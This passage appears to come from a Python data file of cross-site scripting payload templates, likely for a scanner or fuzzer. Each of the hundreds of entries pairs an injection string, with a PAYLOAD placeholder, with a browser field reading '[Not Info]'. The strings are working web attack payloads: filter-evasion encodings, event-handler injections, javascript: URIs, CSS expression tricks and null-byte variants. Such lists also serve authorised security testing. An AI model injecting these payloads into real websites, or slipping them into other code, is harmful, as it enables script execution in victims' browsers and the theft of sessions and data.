  1059. { 'payload':'''<XML ID=I><X><C><![CDATA[<IMG SRC="javas]]<![CDATA[cript:javascript:PAYLOAD;">]]</C><X></xml>''',
  1060. 'browser':"""[Not Info]"""},
  1061. { 'payload':'''<IMG SRC=&{javascript:PAYLOAD;};>''',
  1062. 'browser':"""[Not Info]"""},
  1063. { 'payload':'''<a href="jav&#65ascript:javascript:PAYLOAD">X</a>''',
  1064. 'browser':"""[Not Info]"""},
  1065. { 'payload':'''<a href="jav&#97ascript:javascript:PAYLOAD">X</a>''',
  1066. 'browser':"""[Not Info]"""},
  1067. { 'payload':'''<iframe srcdoc="&LT;iframe&sol;srcdoc=&amp;lt;img&sol;src=&amp;apos;&amp;apos;onerror=javascript:PAYLOAD&amp;gt;>">''',
  1068. 'browser':"""[Not Info]"""},
  1069. { 'payload':'''<IMG SRC=JaVaScRiPt:PAYLOAD>''',
  1070. 'browser':"""[Not Info]"""},
  1071. { 'payload':'''<a onmouseover="PAYLOAD">X</a>''',
  1072. 'browser':"""[Not Info]"""},
  1073. { 'payload':'''<a onmouseover=PAYLOAD>X</a>''',
  1074. 'browser':"""[Not Info]"""},
  1075. { 'payload':'''<INPUT TYPE="IMAGE" SRC="javascript:PAYLOAD;">''',
  1076. 'browser':"""[Not Info]"""},
  1077. { 'payload':'''<STYLE>@im\port'\ja\vasc\ript:PAYLOAD';</STYLE>''',
  1078. 'browser':"""[Not Info]"""},
  1079. { 'payload':'''<STYLE>.X{background-image:url("javascript:PAYLOAD");}</STYLE><A CLASS=X></A>''',
  1080. 'browser':"""[Not Info]"""},
  1081. { 'payload':'''<STYLE type="text/css">BODY{background:url("javascript:PAYLOAD")}</STYLE>''',
  1082. 'browser':"""[Not Info]"""},
  1083. { 'payload':'''<XSS STYLE="xss:expression(PAYLOAD)">''',
  1084. 'browser':"""[Not Info]"""},
  1085. { 'payload':'''<BASE HREF="javascript:PAYLOAD;//">''',
  1086. 'browser':"""[Not Info]"""},
  1087. { 'payload':'''<img src=`%00`&NewLine; onerror=PAYLOAD&NewLine;''',
  1088. 'browser':"""[Not Info]"""},
  1089. { 'payload':'''<iframe/src="data:text/html,<svg &#111;&#110;load=PAYLOAD>">''',
  1090. 'browser':"""[Not Info]"""},
  1091. { 'payload':'''<meta content="&NewLine; 1 &NewLine;; JAVASCRIPT&colon; PAYLOAD" http-equiv="refresh"/>''',
  1092. 'browser':"""[Not Info]"""},
  1093. { 'payload':'''<a href="javascript:void(0)" onmouseover=&NewLine;javascript:PAYLOAD&NewLine;>X</a>''',
  1094. 'browser':"""[Not Info]"""},
  1095. { 'payload':'''<marquee onstart='javascript:PAYLOAD&#x28;1&#x29;'>^__^''',
  1096. 'browser':"""[Not Info]"""},
  1097. { 'payload':'''<iframe/%00/ src=javaSCRIPT&colon;PAYLOAD''',
  1098. 'browser':"""[Not Info]"""},
  1099. { 'payload':'''<%<!--'%><script>PAYLOAD;</script -->''',
  1100. 'browser':"""[Not Info]"""},
  1101. { 'payload':'''<script src="data:text/javascript,PAYLOAD"></script>''',
  1102. 'browser':"""[Not Info]"""},
  1103. { 'payload':'''<iframe/onreadystatechange=PAYLOAD''',
  1104. 'browser':"""[Not Info]"""},
  1105. { 'payload':'''<svg/onload=PAYLOAD''',
  1106. 'browser':"""[Not Info]"""},
  1107. { 'payload':'''<input type="text" value=`` <div/onmouseover='PAYLOAD'>X</div>''',
  1108. 'browser':"""[Not Info]"""},
  1109. { 'payload':'''http://www.<script>PAYLOAD</script .com''',
  1110. 'browser':"""[Not Info]"""},
  1111. { 'payload':'''<svg><script ?>PAYLOAD''',
  1112. 'browser':"""[Not Info]"""},
  1113. { 'payload':'''<img src=`xx:xx`onerror=PAYLOAD''',
  1114. 'browser':"""[Not Info]"""},
  1115. { 'payload':'''<meta http-equiv="refresh" content="0;javascript&colon;PAYLOAD"/>''',
  1116. 'browser':"""[Not Info]"""},
  1117. { 'payload':'''<script>+-+-1-+-+PAYLOAD</script>''',
  1118. 'browser':"""[Not Info]"""},
  1119. { 'payload':'''<body/onload=&lt;!--&gt;&#10PAYLOAD>''',
  1120. 'browser':"""[Not Info]"""},
  1121. { 'payload':'''<script itworksinallbrowsers>/*<script* */PAYLOAD</script''',
  1122. 'browser':"""[Not Info]"""},
  1123. { 'payload':'''<img src ?itworksonchrome?\/onerror = PAYLOAD''',
  1124. 'browser':"""[Not Info]"""},
  1125. { 'payload':'''<svg><script onlypossibleinopera:-)> PAYLOAD''',
  1126. 'browser':"""[Not Info]"""},
  1127. { 'payload':'''<script x> PAYLOAD </script 1=2''',
  1128. 'browser':"""[Not Info]"""},
  1129. { 'payload':'''<div/onmouseover='PAYLOAD'> style="x:">''',
  1130. 'browser':"""[Not Info]"""},
  1131. { 'payload':'''<--`<img/src=` onerror=PAYLOAD> --!>''',
  1132. 'browser':"""[Not Info]"""},
  1133. { 'payload':'''<div style="position:absolute;top:0;left:0;width:100%;height:100%" onmouseover="prompt(1)" onclick="PAYLOAD">x</button>''',
  1134. 'browser':"""[Not Info]"""},
  1135. { 'payload':'''AuDiO/**/oNLoaDStaRt="(_=/**/confirm/**/(PAYLOAD))"/src><!--y''',
  1136. 'browser':"""[Not Info]"""},
  1137. { 'payload':'''<mArquee onStart=[~[onmouseleave(([[(alert(PAYLOAD))]]))]] ]''',
  1138. 'browser':"""[Not Info]"""},
  1139. { 'payload':'''<img src="/" =_=" title="onerror='/**/prompt(PAYLOAD)'">''',
  1140. 'browser':"""[Not Info]"""},
  1141. { 'payload':'''<w="/x="y>"/ondblclick=`<`[confir\u006d``]>PAYLOAD''',
  1142. 'browser':"""[Not Info]"""},
  1143. { 'payload':'''<a/onmousemove=alert(PAYLOAD)//>y''',
  1144. 'browser':"""[Not Info]"""},
  1145. { 'payload':'''<object allowscriptaccess=always><param name=code value=PAYLOAD>''',
  1146. 'browser':"""[Not Info]"""},
  1147. { 'payload':'''<svg+onload=eval(location.hash.substr(1))>#alert(PAYLOAD)''',
  1148. 'browser':"""[Not Info]"""},
  1149. { 'payload':'''<details/open/ontoggle=confirm('PAYLOAD')>''',
  1150. 'browser':"""[Not Info]"""},
  1151. { 'payload':'''</script><svg><script>alert(PAYLOAD)/&apos;''',
  1152. 'browser':"""[Not Info]"""},
  1153. { 'payload':'''<svg </onload ="1> (_=prompt,_(PAYLOAD)) "">''',
  1154. 'browser':"""[Not Info]"""},
  1155. { 'payload':'''<svg 1=""onload=alert(PAYLOAD)>''',
  1156. 'browser':"""[Not Info]"""},
  1157. { 'payload':'''<output name="jAvAsCriPt://&NewLine;\u0061ler&#116(PAYLOAD)" onclick="eval(name)">X</output>''',
  1158. 'browser':"""[Not Info]"""},
  1159. { 'payload':'''<button onmousemove="javascript:alert(PAYLOAD)">y''',
  1160. 'browser':"""[Not Info]"""},
  1161. { 'payload':'''<BoDy%0AOnpaGeshoW=+window.prompt(PAYLOAD)''',
  1162. 'browser':"""[Not Info]"""},
  1163. { 'payload':'''<a href=[0x0b]xss" onfocus=prompt(PAYLOAD) autofocus fragment="''',
  1164. 'browser':"""[Not Info]"""},
  1165. { 'payload':'''<isindex type=image src=1 onerror=alert(PAYLOAD)>''',
  1166. 'browser':"""[Not Info]"""},
  1167. { 'payload':'''<script>a=eval;b=alert;a(b(/ PAYLOAD/.source));</script>'">''',
  1168. 'browser':"""[Not Info]"""},
  1169. { 'payload':'''<!'/!"/!\'/\"/--!><Input/Type=Text AutoFocus */; OnFocus=(confirm)(PAYLOAD) //>''',
  1170. 'browser':"""[Not Info]"""},
  1171. { 'payload':'''\u003csvg/onload=alert`PAYLOAD`\u003e''',
  1172. 'browser':"""[Not Info]"""},
  1173. { 'payload':'''\<svg/onload=alert`PAYLOAD`\>''',
  1174. 'browser':"""[Not Info]"""},
  1175. { 'payload':'''<article xmlns ="urn:img src=x onerror=y()//" >PAYLOAD''',
  1176. 'browser':"""[Not Info]"""},
  1177. { 'payload':'''<img / src = \ 'y \' // onerror = \ 'alert (PAYLOAD) \ '>''',
  1178. 'browser':"""[Not Info]"""},
  1179. { 'payload':'''<img/src=q onerror='new Function`al\ert\`PAYLOAD\``'>''',
  1180. 'browser':"""[Not Info]"""},
  1181. { 'payload':'''<Html Onmouseover=(alert)(PAYLOAD) //''',
  1182. 'browser':"""[Not Info]"""},
  1183. { 'payload':'''<script/src=//google.com/complete/search?client=chrome%26jsonp=alert(PAYLOAD);>''',
  1184. 'browser':"""[Not Info]"""},
  1185. { 'payload':'''<scr<!--esi-->ipt>aler<!--esi-->t(PAYLOAD)</sc<!--esi-->ript>''',
  1186. 'browser':"""[Not Info]"""},
  1187. { 'payload':'''&#x003c;img src=1 onerror=confirm(PAYLOAD)&#x003e;''',
  1188. 'browser':"""[Not Info]"""},
  1189. { 'payload':'''%26%23x003c%3Bimg%20src%3D1%20onerror%3Dalert(PAYLOAD)%26%23x003e%3B%0A''',
  1190. 'browser':"""[Not Info]"""},
  1191. { 'payload':'''x%22%3E%3Cimg%20src=%22x%22%3E%3C!--%2522%2527--%253E%253CSvg%2520O%256ELoad%253Dconfirm%2528/PAYLOAD/%2529%253E''',
  1192. 'browser':"""[Not Info]"""},
  1193. { 'payload':'''<x+oncut=y=prompt,y`PAYLOAD`>y''',
  1194. 'browser':"""[Not Info]"""},
  1195. { 'payload':'''<svG x=">" onload=(PAYLOAD)``>''',
  1196. 'browser':"""[Not Info]"""},
  1197. { 'payload':'''<script/y~~~>;alert(PAYLOAD);</script/Y~~~>''',
  1198. 'browser':"""[Not Info]"""},
  1199. { 'payload':'''<VideO/**/OnerroR=~alert("PAYLOAD")+/SrC>''',
  1200. 'browser':"""[Not Info]"""},
  1201. { 'payload':'''<video/poster/onerror=prompt(PAYLOAD)>''',
  1202. 'browser':"""[Not Info]"""},
  1203. { 'payload':'''<sVG/xss/OnLoaD+="window['confirm']+(PAYLOAD)">''',
  1204. 'browser':"""[Not Info]"""},
  1205. { 'payload':'''<img x/src=x /onerror="x-\u0063onfirm(PAYLOAD)">''',
  1206. 'browser':"""[Not Info]"""},
  1207. { 'payload':'''<VidEo/oNLoaDStaRt=confirm(PAYLOAD)+/src>''',
  1208. 'browser':"""[Not Info]"""},
  1209. { 'payload':'''<p/%0Aonmouseover%0A=%0Aconfirm(PAYLOAD)>y''',
  1210. 'browser':"""[Not Info]"""},
  1211. { 'payload':'''<span/onmouseover=confirm(PAYLOAD)>y''',
  1212. 'browser':"""[Not Info]"""},
  1213. { 'payload':'''<svg/onload=window.onerror=alert;throw/PAYLOAD/;//''',
  1214. 'browser':"""[Not Info]"""},
  1215. { 'payload':'''%00<body onload=alert(PAYLOAD)>''',
  1216. 'browser':"""[Not Info]"""},
  1217. { 'payload':'''&#00;</form><input type&#61;"date" onfocus="alert(PAYLOAD)">''',
  1218. 'browser':"""[Not Info]"""},
  1219. { 'payload':'''"'`><%00img src=xxx:x onerror=javascript:alert(PAYLOAD)>>''',
  1220. 'browser':"""[Not Info]"""},
  1221. { 'payload':'''%00“><script>alert(PAYLOAD)</script>''',
  1222. 'browser':"""[Not Info]"""},
  1223. { 'payload':''''`"><%00script>javascript:alert(PAYLOAD)</script>''',
  1224. 'browser':"""[Not Info]"""},
  1225. { 'payload':'''--><!-- --%21> <img src=xxx:x onerror=javascript:alert(PAYLOAD)> -->>''',
  1226. 'browser':"""[Not Info]"""},
  1227. { 'payload':'''%22%20onmouseover=javascript:alert(PAYLOAD)%20%22''',
  1228. 'browser':"""[Not Info]"""},
  1229. { 'payload':'''%22/%3E%3Cmeta%20http-equiv=refresh%20content=0;javascript:alert(PAYLOAD);>''',
  1230. 'browser':"""[Not Info]"""},
  1231. { 'payload':'''%22%3E%3Cscript%3Ealert(PAYLOAD)%3B%3C%2Fscript%3E''',
  1232. 'browser':"""[Not Info]"""},
  1233. { 'payload':'''&#34;&#62;<h1/onmouseover='%0061lert(PAYLOAD)'>%00''',
  1234. 'browser':"""[Not Info]"""},
  1235. { 'payload':'''&#34;&#62;<svg><style>{-o-link-source&colon;"<body/onload=confirm(PAYLOAD)>"''',
  1236. 'browser':"""[Not Info]"""},
  1237. { 'payload':'''%3Cform%20name%3D%22body%22%20onmouseover%3D%22alert(PAYLOAD)%22%20style%3D%22height%3A800px%22%3E%3Cfieldset%20name%3D%22attributes%22%3E%3Cform%3E%3C%2Fform%3E%3Cform%20name%3D%22parentNode%22%3E%3Cimg%20id%3D%22attributes%22%3E%3C%2Fform%3E%3C%2Ffieldset%3E%3C%2Fform%3E''',
  1238. 'browser':"""[Not Info]"""},
  1239. { 'payload':'''%3Cform%20onmouseover%3Dalert(PAYLOAD)%3E%3Cinput%20name%3Dattributes%3E''',
  1240. 'browser':"""[Not Info]"""},
  1241. { 'payload':'''%3Cimg%20name%3DgetElementsByTagName%20src%3D1%20%20onerror%3Dalert(PAYLOAD)%3E''',
  1242. 'browser':"""[Not Info]"""},
  1243. { 'payload':'''%3cimg onerror=alert(PAYLOAD) src=a%3e''',
  1244. 'browser':"""[Not Info]"""},
  1245. { 'payload':'''"'`><%3Cimg src=xxx:x onerror=javascript:alert(PAYLOAD)>''',
  1246. 'browser':"""[Not Info]"""},
  1247. { 'payload':'''%3Cscript%3Ealert(PAYLOAD)%3B%3C%2Fscript%3E''',
  1248. 'browser':"""[Not Info]"""},
  1249. { 'payload':''''`"><%3Cscript>javascript:alert(PAYLOAD)</script>''',
  1250. 'browser':"""[Not Info]"""},
  1251. { 'payload':'''%3Cscript>javascript:alert(PAYLOAD)</script>''',
  1252. 'browser':"""[Not Info]"""},
  1253. { 'payload':'''"'`>Y<div style="font-family:'foo'%3Bx:expression(javascript:alert(PAYLOAD);/*';">Z''',
  1254. 'browser':"""[Not Info]"""},
  1255. { 'payload':'''"'`>Y<div style="font-family:'foo'%7Dx:expression(javascript:alert(PAYLOAD);/*';">Z>''',
  1256. 'browser':"""[Not Info]"""},
  1257. { 'payload':'''Y<div style="x:%00expression(javascript:alert(PAYLOAD)">Z''',
  1258. 'browser':"""[Not Info]"""},
  1259. { 'payload':'''Y<div style="x:%09expression(javascript:alert(PAYLOAD)">Z''',
  1260. 'browser':"""[Not Info]"""},
  1261. { 'payload':'''Y<div style="x:%0Aexpression(javascript:alert(PAYLOAD)">Z''',
  1262. 'browser':"""[Not Info]"""},
  1263. { 'payload':'''Y<div style="x:%0Bexpression(javascript:alert(PAYLOAD)">Z''',
  1264. 'browser':"""[Not Info]"""},
  1265. { 'payload':'''Y<div style="x:%0Cexpression(javascript:alert(PAYLOAD)">Z''',
  1266. 'browser':"""[Not Info]"""},
  1267. { 'payload':'''Y<div style="x:%0Dexpression(javascript:alert(PAYLOAD)">Z''',
  1268. 'browser':"""[Not Info]"""},
  1269. { 'payload':'''Y<div style="x:%20expression(javascript:alert(PAYLOAD)">Z''',
  1270. 'browser':"""[Not Info]"""},
  1271. { 'payload':'''Y<div style="x%3Aexpression(javascript:alert(PAYLOAD)">Z''',
  1272. 'browser':"""[Not Info]"""},
  1273. { 'payload':'''Y<div style="x:%C2%A0expression(javascript:alert(PAYLOAD)">Z''',
  1274. 'browser':"""[Not Info]"""},
  1275. { 'payload':'''Y<div style="x:%E2%80%80expression(javascript:alert(PAYLOAD)">Z''',
  1276. 'browser':"""[Not Info]"""},
  1277. { 'payload':'''Y<div style="x:%E2%80%81expression(javascript:alert(PAYLOAD)">Z''',
  1278. 'browser':"""[Not Info]"""},
  1279. { 'payload':'''Y<div style="x:%E2%80%82expression(javascript:alert(PAYLOAD)">Z''',
  1280. 'browser':"""[Not Info]"""},
  1281. { 'payload':'''Y<div style="x:%E2%80%83expression(javascript:alert(PAYLOAD)">Z''',
  1282. 'browser':"""[Not Info]"""},
  1283. { 'payload':'''Y<div style="x:%E2%80%84expression(javascript:alert(PAYLOAD)">Z''',
  1284. 'browser':"""[Not Info]"""},
  1285. { 'payload':'''Y<div style="x:%E2%80%85expression(javascript:alert(PAYLOAD)">Z''',
  1286. 'browser':"""[Not Info]"""},
  1287. { 'payload':'''Y<div style="x:%E2%80%86expression(javascript:alert(PAYLOAD)">Z''',
  1288. 'browser':"""[Not Info]"""},
  1289. { 'payload':'''Y<div style="x:%E2%80%87expression(javascript:alert(PAYLOAD)">Z''',
  1290. 'browser':"""[Not Info]"""},
  1291. { 'payload':'''Y<div style="x:%E2%80%88expression(javascript:alert(PAYLOAD)">Z''',
  1292. 'browser':"""[Not Info]"""},
  1293. { 'payload':'''Y<div style="x:%E2%80%89expression(javascript:alert(PAYLOAD)">Z''',
  1294. 'browser':"""[Not Info]"""},
  1295. { 'payload':'''Y<div style="x:%E2%80%8Aexpression(javascript:alert(PAYLOAD)">Z''',
  1296. 'browser':"""[Not Info]"""},
  1297. { 'payload':'''Y<div style="x:%E2%80%8Bexpression(javascript:alert(PAYLOAD)">Z''',
  1298. 'browser':"""[Not Info]"""},
  1299. { 'payload':'''Y<div style="x:%E3%80%80expression(javascript:alert(PAYLOAD)">Z''',
  1300. 'browser':"""[Not Info]"""},
  1301. { 'payload':'''Y<div style="x:%EF%BB%BFexpression(javascript:alert(PAYLOAD)">Z''',
  1302. 'browser':"""[Not Info]"""},
  1303. { 'payload':'''Y<div style="x:exp%00ression(javascript:alert(PAYLOAD)">Z''',
  1304. 'browser':"""[Not Info]"""},
  1305. { 'payload':'''Y<div style="x:exp%5Cression(javascript:alert(PAYLOAD)">Z''',
  1306. 'browser':"""[Not Info]"""},
  1307. { 'payload':'''Y<div style="x:expression%00(javascript:alert(PAYLOAD)">Z''',
  1308. 'browser':"""[Not Info]"""},
  1309. { 'payload':'''Y<div style="x:expression%5C(javascript:alert(PAYLOAD)">Z''',
  1310. 'browser':"""[Not Info]"""},
  1311. { 'payload':'''<!a foo=x=`y><img alt="`><img src=x:x onerror=alert(PAYLOAD)//">''',
  1312. 'browser':"""[Not Info]"""},
  1313. { 'payload':'''<?a foo=x=`y><img alt="`><img src=x:x onerror=alert(PAYLOAD)//">''',
  1314. 'browser':"""[Not Info]"""},
  1315. { 'payload':'''<a href="%00javascript:javascript:alert(PAYLOAD)" id="fuzzelement1">Y</a>''',
  1316. 'browser':"""[Not Info]"""},
  1317. { 'payload':'''<a href="%01javascript:javascript:alert(PAYLOAD)" id="fuzzelement1">Y</a>''',
  1318. 'browser':"""[Not Info]"""},
  1319. { 'payload':'''<a href="%02javascript:javascript:alert(PAYLOAD)" id="fuzzelement1">Y</a>''',
  1320. 'browser':"""[Not Info]"""},
  1321. { 'payload':'''<a href="%03javascript:javascript:alert(PAYLOAD)" id="fuzzelement1">Y</a>''',
  1322. 'browser':"""[Not Info]"""},
  1323. { 'payload':'''<a href="%04javascript:javascript:alert(PAYLOAD)" id="fuzzelement1">Y</a>''',
  1324. 'browser':"""[Not Info]"""},
  1325. { 'payload':'''<a href="%05javascript:javascript:alert(PAYLOAD)" id="fuzzelement1">Y</a>''',
  1326. 'browser':"""[Not Info]"""},
  1327. { 'payload':'''<a href="%06javascript:javascript:alert(PAYLOAD)" id="fuzzelement1">Y</a>''',
  1328. 'browser':"""[Not Info]"""},
  1329. { 'payload':'''<a href="%07javascript:javascript:alert(PAYLOAD)" id="fuzzelement1">Y</a>''',
  1330. 'browser':"""[Not Info]"""},
  1331. { 'payload':'''<a href="%08javascript:javascript:alert(PAYLOAD)" id="fuzzelement1">Y</a>''',
  1332. 'browser':"""[Not Info]"""},
  1333. { 'payload':'''<a href="%09javascript:javascript:alert(PAYLOAD)" id="fuzzelement1">Y</a>''',
  1334. 'browser':"""[Not Info]"""},
  1335. { 'payload':'''<a href="%0Ajavascript:javascript:alert(PAYLOAD)" id="fuzzelement1">Y</a>''',
  1336. 'browser':"""[Not Info]"""},
  1337. { 'payload':'''<a href="%0Bjavascript:javascript:alert(PAYLOAD)" id="fuzzelement1">Y</a>''',
  1338. 'browser':"""[Not Info]"""},
  1339. { 'payload':'''<a href="%0Cjavascript:javascript:alert(PAYLOAD)" id="fuzzelement1">Y</a>''',
  1340. 'browser':"""[Not Info]"""},
  1341. { 'payload':'''<a href="%0Djavascript:javascript:alert(PAYLOAD)" id="fuzzelement1">Y</a>''',
  1342. 'browser':"""[Not Info]"""},
  1343. { 'payload':'''<a href="%0Ejavascript:javascript:alert(PAYLOAD)" id="fuzzelement1">Y</a>''',
  1344. 'browser':"""[Not Info]"""},
  1345. { 'payload':'''<a href="%0Fjavascript:javascript:alert(PAYLOAD)" id="fuzzelement1">Y</a>''',
  1346. 'browser':"""[Not Info]"""},
  1347. { 'payload':'''<a href="%10javascript:javascript:alert(PAYLOAD)" id="fuzzelement1">Y</a>''',
  1348. 'browser':"""[Not Info]"""},
  1349. { 'payload':'''<a href="%11javascript:javascript:alert(PAYLOAD)" id="fuzzelement1">Y</a>''',
  1350. 'browser':"""[Not Info]"""},
  1351. { 'payload':'''<a href="123" id=x>kcf</a><script>x='javascript:alert(PAYLOAD)'//Y!;</script>''',
  1352. 'browser':"""[Not Info]"""},
  1353. { 'payload':'''<a href="123" id=x>Y</a><script>x='javascript:alert(PAYLOAD)';</script>''',
  1354. 'browser':"""[Not Info]"""},
  1355. { 'payload':'''<a href="%20javascript:javascript:alert(PAYLOAD)" id="fuzzelement1">Y</a>''',
  1356. 'browser':"""[Not Info]"""},
  1357. { 'payload':'''<a href=http://foo.bar/#x=`y></a><img alt="`><img src=x:x onerror=alert(PAYLOAD)></a>">''',
  1358. 'browser':"""[Not Info]"""},
  1359. { 'payload':'''<a href=http://foo.bar/#x=`y></a><img alt="`><img src=x:x onerror=javascript:alert(PAYLOAD)></a>">''',
  1360. 'browser':"""[Not Info]"""},
  1361. { 'payload':'''<a href="jav&#65ascript:javascript:alert(PAYLOAD)">Y</a>''',
  1362. 'browser':"""[Not Info]"""},
  1363. { 'payload':'''<a href="jav&#97ascript:javascript:alert(PAYLOAD)">Y1</a>''',
  1364. 'browser':"""[Not Info]"""},
  1365. { 'payload':'''<a href=java&#1&#2&#3&#4&#5&#6&#7&#8&#11&#12script:javascript:alert(PAYLOAD)>Y</a>''',
  1366. 'browser':"""[Not Info]"""},
  1367. { 'payload':'''<a href="javas%00cript:javascript:alert(PAYLOAD)" id="fuzzelement1">Y</a>''',
  1368. 'browser':"""[Not Info]"""},
  1369. { 'payload':'''<a href="javas%01cript:javascript:alert(PAYLOAD)" id="fuzzelement1">Y</a>''',
  1370. 'browser':"""[Not Info]"""},
  1371. { 'payload':'''<a href="javas%02cript:javascript:alert(PAYLOAD)" id="fuzzelement1">Y</a>''',
  1372. 'browser':"""[Not Info]"""},
  1373. { 'payload':'''<a href="javas%03cript:javascript:alert(PAYLOAD)" id="fuzzelement1">Y</a>''',
  1374. 'browser':"""[Not Info]"""},
  1375. { 'payload':'''<a href="javas%04cript:javascript:alert(PAYLOAD)" id="fuzzelement1">Y</a>''',
  1376. 'browser':"""[Not Info]"""},
  1377. { 'payload':'''<a href="javas%05cript:javascript:alert(PAYLOAD)" id="fuzzelement1">Y</a>''',
  1378. 'browser':"""[Not Info]"""},
  1379. { 'payload':'''<a href="javas%06cript:javascript:alert(PAYLOAD)" id="fuzzelement1">Y</a>''',
  1380. 'browser':"""[Not Info]"""},
  1381. { 'payload':'''<a href="javas%07cript:javascript:alert(PAYLOAD)" id="fuzzelement1">Y</a>''',
  1382. 'browser':"""[Not Info]"""},
  1383. { 'payload':'''<a href="javas%08cript:javascript:alert(PAYLOAD)" id="fuzzelement1">Y</a>''',
  1384. 'browser':"""[Not Info]"""},
  1385. { 'payload':'''<a href="javas%09cript:javascript:alert(PAYLOAD)" id="fuzzelement1">Y</a>''',
  1386. 'browser':"""[Not Info]"""},
  1387. { 'payload':'''<a href="javas%0Acript:javascript:alert(PAYLOAD)" id="fuzzelement1">Y</a>''',
  1388. 'browser':"""[Not Info]"""},
  1389. { 'payload':'''<a href="javas%0Bcript:javascript:alert(PAYLOAD)" id="fuzzelement1">Y</a>''',
  1390. 'browser':"""[Not Info]"""},
  1391. { 'payload':'''<a href="javas%0Ccript:javascript:alert(PAYLOAD)" id="fuzzelement1">Y</a>''',
  1392. 'browser':"""[Not Info]"""},
  1393. { 'payload':'''<a href="javas%0Dcript:javascript:alert(PAYLOAD)" id="fuzzelement1">Y</a>''',
  1394. 'browser':"""[Not Info]"""},
  1395. { 'payload':'''<a/href="javascript:&#13; javascript:prompt(PAYLOAD)"><input type="X">''',
  1396. 'browser':"""[Not Info]"""},
  1397. { 'payload':'''<a href="javascript%3A:javascript:alert(PAYLOAD)" id="fuzzelement1">Y</a>''',
  1398. 'browser':"""[Not Info]"""},
  1399. { 'payload':'''<a href="javascript%3Ajavascript:alert(PAYLOAD)" id="fuzzelement1">Y</a>''',
  1400. 'browser':"""[Not Info]"""},
  1401. { 'payload':'''<a href="javascript#alert(PAYLOAD);">''',
  1402. 'browser':"""[Not Info]"""},
  1403. { 'payload':'''<a href="javascript:alert(PAYLOAD)">Y</a>''',
  1404. 'browser':"""[Not Info]"""},
  1405. { 'payload':'''<a href="jAvAsCrIpT&colon;alert&lpar;PAYLOAD&rpar;">Y</a>''',
  1406. 'browser':"""[Not Info]"""},
  1407. { 'payload':'''<a href="javascript:void(0)" onmouseover=&NewLine;javascript:alert(PAYLOAD)&NewLine;>X</a>''',
  1408. 'browser':"""[Not Info]"""},
  1409. { 'payload':'''<a href=x onerror=alert(PAYLOAD)>''',
  1410. 'browser':"""[Not Info]"""},
  1411. { 'payload':'''</a onmousemove="alert(PAYLOAD)">''',
  1412. 'browser':"""[Not Info]"""},
  1413. { 'payload':'''</a onmousemove=alert(PAYLOAD)>''',
  1414. 'browser':"""[Not Info]"""},
  1415. { 'payload':'''<a onmouseover=(alert(PAYLOAD))>Y</a>''',
  1416. 'browser':"""[Not Info]"""},
  1417. { 'payload':'''<applet onerror applet onerror="javascript:javascript:alert(PAYLOAD)"></applet onerror>''',
  1418. 'browser':"""[Not Info]"""},
  1419. { 'payload':'''<applet onError applet onError="javascript:javascript:alert(PAYLOAD)"></applet onError>''',
  1420. 'browser':"""[Not Info]"""},
  1421. { 'payload':'''<applet onreadystatechange applet onreadystatechange="javascript:javascript:alert(PAYLOAD)"></applet onreadystatechange>''',
  1422. 'browser':"""[Not Info]"""},
  1423. { 'payload':'''<applet onReadyStateChange applet onReadyStateChange="javascript:javascript:alert(PAYLOAD)"></applet onReadyStateChange>''',
  1424. 'browser':"""[Not Info]"""},
  1425. { 'payload':'''<article xmlns="><img src=x onerror=alert(PAYLOAD)"></article>''',
  1426. 'browser':"""[Not Info]"""},
  1427. { 'payload':'''<article xmlns="x:img src=x onerror=alert(PAYLOAD) ">''',
  1428. 'browser':"""[Not Info]"""},
  1429. { 'payload':'''<a style="behavior:url(#Zault#AnchorClick);" folder="javascript:alert(PAYLOAD)">Y</a>''',
  1430. 'browser':"""[Not Info]"""},
  1431. { 'payload':'''<a style="behavior:url(#Zault#AnchorClick);" folder="javascript:javascript:alert(PAYLOAD)">Y</a>''',
  1432. 'browser':"""[Not Info]"""},
  1433. { 'payload':'''<a style="-o-link:'javascript:alert(PAYLOAD)';-o-link-source:current">Y</a>''',
  1434. 'browser':"""[Not Info]"""},
  1435. { 'payload':'''<a style="-o-link:'javascript:javascript:alert(PAYLOAD)';-o-link-source:current">Y''',
  1436. 'browser':"""[Not Info]"""},
  1437. { 'payload':'''<a style="pointer-events:none;position:absolute;"><a style="position:absolute;" onclick="alert(PAYLOAD);">Y</a></a><a href="javascript:alert(PAYLOAD)">Y</a>''',
  1438. 'browser':"""[Not Info]"""},
  1439. { 'payload':'''<a style="pointer-events:none;position:absolute;"><a style="position:absolute;" onclick="javascript:alert(PAYLOAD);">Y</a></a><a href="javascript:javascript:alert(PAYLOAD)">Y</a><style>*[{}@import'%25(css)s?]</style>X''',
  1440. 'browser':"""[Not Info]"""},
  1441. { 'payload':'''<audio src=1 href=1 onerror="javascript:alert(PAYLOAD)"></audio>''',
  1442. 'browser':"""[Not Info]"""},
  1443. { 'payload':'''<audio src=1 onerror=alert(PAYLOAD)>''',
  1444. 'browser':"""[Not Info]"""},
  1445. { 'payload':'''<BASE HREF="javascript:alert(PAYLOAD);//">''',
  1446. 'browser':"""[Not Info]"""},
  1447. { 'payload':'''<BASE HREF="javascript:alert('PAYLOAD');//">''',
  1448. 'browser':"""[Not Info]"""},
  1449. { 'payload':'''<BASE HREF="javascript:javascript:alert(PAYLOAD);//">''',
  1450. 'browser':"""[Not Info]"""},
  1451. { 'payload':'''<bgsound onpropertychange=alert(PAYLOAD)>''',
  1452. 'browser':"""[Not Info]"""},
  1453. { 'payload':'''<bgsound onPropertyChange bgsound onPropertyChange="javascript:javascript:alert(PAYLOAD)"></bgsound onPropertyChange>''',
  1454. 'browser':"""[Not Info]"""},
  1455. { 'payload':'''<BGSOUND SRC="javascript:alert(PAYLOAD);">''',
  1456. 'browser':"""[Not Info]"""},
  1457. { 'payload':'''<BGSOUND SRC="javascript:alert('PAYLOAD');">''',
  1458. 'browser':"""[Not Info]"""},
  1459. { 'payload':'''<BGSOUND SRC="javascript:javascript:alert(PAYLOAD);">''',
  1460. 'browser':"""[Not Info]"""},
  1461. { 'payload':'''<b id="id1" x=begin0x2924end >`'"></b><script>if (!/begin.end/.Y(document.getElementById('id1').getAttribute('x'))) { alert(PAYLOAD);}</script>''',
  1462. 'browser':"""[Not Info]"""},
  1463. { 'payload':'''<b id="id1" x=begin0x9fa0end >`'"></b><script>if (!/begin.end/.Y(document.getElementById('id1').getAttribute('x'))) { alert(PAYLOAD);}</script>''',
  1464. 'browser':"""[Not Info]"""},
  1465. { 'payload':'''<BODY BACKGROUND="javascript:alert(PAYLOAD)">''',
  1466. 'browser':"""[Not Info]"""},
  1467. { 'payload':'''<BODY BACKGROUND="javascript:alert('PAYLOAD')">''',
  1468. 'browser':"""[Not Info]"""},
